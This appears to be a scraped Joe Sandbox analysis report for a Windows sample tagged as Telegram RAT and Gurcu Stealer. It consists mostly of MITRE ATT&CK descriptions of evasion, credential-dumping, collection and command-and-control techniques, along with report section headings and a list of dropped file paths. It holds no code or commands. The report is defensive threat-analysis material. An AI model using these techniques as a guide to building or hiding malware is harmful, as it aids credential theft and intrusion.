Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report jqOHOuPMJP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: Gurcu Stealer

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vkefq4cv.oil.exe_8bda737a63465ab69884df6bd58af130501f7e94_ea868dc5_2dd495ae-2f75-472c-b3ff-2ce61eb255a3\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB81.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE32.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE62.tmp.xml

C:\Users\user\.ssh\known_hosts

C:\Users\user\AppData\Local\4cn9n9irdf\p.dat

C:\Users\user\AppData\Local\4cn9n9irdf\report.lock

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\vkefq4cv.oil.exe.log

Windows Analysis Report
jqOHOuPMJP.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre